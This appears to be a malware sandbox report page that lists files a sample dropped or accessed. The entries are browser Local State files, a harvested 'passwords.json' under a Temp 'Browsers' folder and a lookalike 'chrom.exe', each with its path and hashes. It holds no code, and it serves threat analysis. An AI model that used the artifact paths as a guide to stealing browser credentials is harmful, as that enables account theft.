SHA512 8d1b0e13e25273a3d28c1d37a451f2758f5a5c0762bd9f1775b7451e60e4c4b6252fcaaf4dc7c3b48e1d311a72d5ee68b622209d58649cc255882e2e80be6a07
SSDEEP 3072:Tb1uxZQ0G+iCgRHwwv5kAyTW0s0VC1mVKyW8L4FJeOQaxDxjoE0uITCI7K:fCiCgRH3aNVSUWkKOaToE0uImD
TLSH
T12BD312F29D5704BB9CFB68ACB64330130DA8D7521E2DFD946CC817448D77BAC8B46262
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 129KB
SHA256 74b2e5cf209d939720e3139a5ff3e848e127c8f8c5c33e495d8387176264397e
MD5 6633cdc2f17d4ab5d89b1b156d679776
SHA1 991a6f5a94826f5fe9bf00f5dca6eccc87c5b7dd
SHA512 d8cfcf31cf70b76cbd3be43f108a29171115b739e09ee4239a621c1c25448ad08a1c5e0e767bfbefecfead8cf88922460925e7543a9f2a0e543508c18baeb5b9
SSDEEP 3072:4HuxZQ0G+iCgRHwwv5kAyTW0s0VC1mVKyW8L4FJeOQaxDxjoE0uITCI7K:niCgRH3aNVSUWkKOaToE0uImD
TLSH
T143D312F29D6705BBACFFB9ECFB432013096895521E79FDA40CC917444DB2BAD8785222
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 22c1d58ffa7df77a7e0440ce3b2c474b1e03f30b60355bbf5dd6392fefb641fd
MD5 b9f45a900b1f64efbf90731f41c6ad44
SHA1 0c28e85e464e328fbbc07373b05113d39f83bdcc
SHA512 132313545c55ea809da0e811d6d5d324ecf5b6cfaefadb3fa4a29df5e6266dfeca7cffa4daf21754b4b37771504d3692189b5660a468784b5eaf80bf92f59ae0
TLSH
T11ED02BA033044C0CCE40203215B9A210720484204849031A8E41F02C8C6FD4387161F7
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 ee3af991fa1719733ca1e3ac746d5b605f4205e269bf244bd9ae780ceadb9bd8
MD5 a044f6413820c4c3fbd300ee9b379ebc
SHA1 94fc91536a25274f06d3a6e89322dec7fde7912e
SHA512 ced4374c54d7b4ea2b76afe4ca5d8841dfb55d8cb5db96de4ed49e64bd3850a817db5301787c268756641c94c0bf85eb4ee188f04fc891fa2e45ad48284985a5
TLSH
T13AD02BA433044D0CCE40203215B8A210720484209C49031A8D41B01C8C6FD4387171FB
MD5 SHA1 SHA512 TLSH

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 be3dab2dd891241c36b6bfceca875a98fe10c40213d088d54ed0b16a3f8da660
MD5 fad5192bde88493e9424ab3fd346c31d
SHA1 020c3338d78481d5b4351277e8197b8c38ca602d
SHA512 bfbaa4fb0c49a8bcf5ef8d2a292241cef3f27da3b531919942697257aa707557e9bfff1cea9ccd29776aa743213b4798bc33726cacc8e3683968602137547274
SSDEEP 768:xGrv+4UNbdS3TPdlYya7Hucys6BRvi82oP4/z6himo+Z2bwn+h:xGbsbw3Th3imOz6ImoG0w+
TLSH
T1F003CF31F4589D33DCAB8288B04ABA937FF4522345C91AC0E6DE5F0E129B95E131BC63
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 39KB
SHA256 fe9c570a7a3c1c92bf902533e308a1c9b24035dc024d6c014e60983c5e79a086
MD5 a19f923b6c77c5dd912e4fac91f1bf84
SHA1 8ed7c7da01c4c54a861dfc462f35a6bbde10f234
SHA512 86baca8cd78084ce65025e7533860fe911a50e570218b2849cb7d2da7797afbfca236304edec5c59186cff46c96cfa61a95b631f78823ad9a5cc049a20ece4ab
SSDEEP 768:6rv+4UNbdS36RlYyr7Hucys6BRvi82oP4/z6himofc2bwn+h:6bsbw3x3imOz6Imok0w+
TLSH
T1F403AF31F4199D73DDEB8188B4467B937FF4226389C91E80E5DA9B4E4187A5F231B823
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

passwords.json

Path C:\Users\Admin\AppData\Local\Temp\TwskLPGo\Browsers\Chrome\Default\passwords.json
Size 8B
SHA256 285386bcbda5b2338822b19266a2b90c6d87e9da18401f9148c69e469c11bcb7
MD5 cdc6bc1cb4ec05d3e1952695ca640971
SHA1 e1c92176fac5ddd9ea6c2cb2e01d03514bc3c84f
SHA512 b8025aa7007a269a132403b2917710e023753980d078a72ae83cd01e40a71239344244c949662b26ff04f761b5859b49b1105b53506b9ff1ad65d9fb18e7c6bf
MD5 SHA1 SHA512

Submit Download

chrom.exe

Path C:\Users\Admin\AppData\Local\Temp\chrom.exe
Size 1.7MB
SHA256 7f9ac077a6165c3f950e156e3e85ae1f0f30733db052eefd19116a9216f509f2
MD5 852ade9ff5758493b9bffaa435c32eb5
SHA1 4abb9ec604c49dbae96dcf2e74bf4a17898fe935
SHA512 4275f1d03a7a9b3be0b14c980856e16696fa9543f524d75cf8127be42fcdc8e3947e6c5e80107637e920f8de5b3fcede44aaad2c2155a6353f60880bff6fa68c
SSDEEP 24576:of8eyIUU+A5MUPICFLPTqx6UVQW1+d7MpE+fwlBh6h7SQf344wmmc77TgYrhAJu5:AyTAyUPrHeh07ThlBUh7//4u77cIAJ
TLSH
T1B785121AEB6404FCE1B7C578CD564945EBB2BC4A47A067CF23A00A562F27AD44D3FB12
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir3160_583603397\CRX_INSTALL\_locales\en\messages.json
Size 450B
SHA256 c0945dd5fdecab40c45361bec068d1996e6ae01196dce524266d740808f753fe
MD5 dbedf86fa9afb3a23dbb126674f166d2
SHA1 5628affbcf6f897b9d7fd9c17deb9aa75036f1cc
SHA512 931d7ba6da84d4bb073815540f35126f2f035a71bfe460f3ccaed25ad7c1b1792ab36cd7207b99fddf5eaf8872250b54a8958cf5827608f0640e8aafe11e0071
TLSH
T1D3F055CB9000FC5E538BC00EB10072282BA603E01AD1726724EC1C0E67DFDAEB143F9A
MD5 SHA1 SHA512 TLSH

Submit Download